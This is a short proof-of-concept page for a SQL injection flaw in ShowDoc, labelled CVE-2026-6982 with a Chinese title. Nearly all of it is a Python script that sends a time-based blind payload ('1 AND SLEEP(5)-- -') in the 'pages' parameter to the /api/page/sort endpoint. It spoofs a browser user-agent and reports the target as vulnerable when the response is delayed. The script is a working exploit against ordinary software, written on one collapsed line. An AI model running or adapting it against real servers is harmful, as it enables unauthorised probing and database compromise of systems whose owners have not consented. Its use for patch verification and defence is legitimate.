CVE-2026-6982: ShowDoc SQL注入漏洞

import requests # Proof of Concept (PoC) for CVE-2026-6982 # This script demonstrates the SQL injection vulnerability in the 'pages' parameter. TARGET_URL = "http://target-showdoc-url/server/index.php?s=/api/page/sort" # Malicious payload to test SQL injection (Time-based blind) # The payload attempts to cause a delay in the database response PAYLOAD = "1 AND SLEEP(5)-- -" data = { "pages": PAYLOAD } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: print(f"Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Database responded with delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")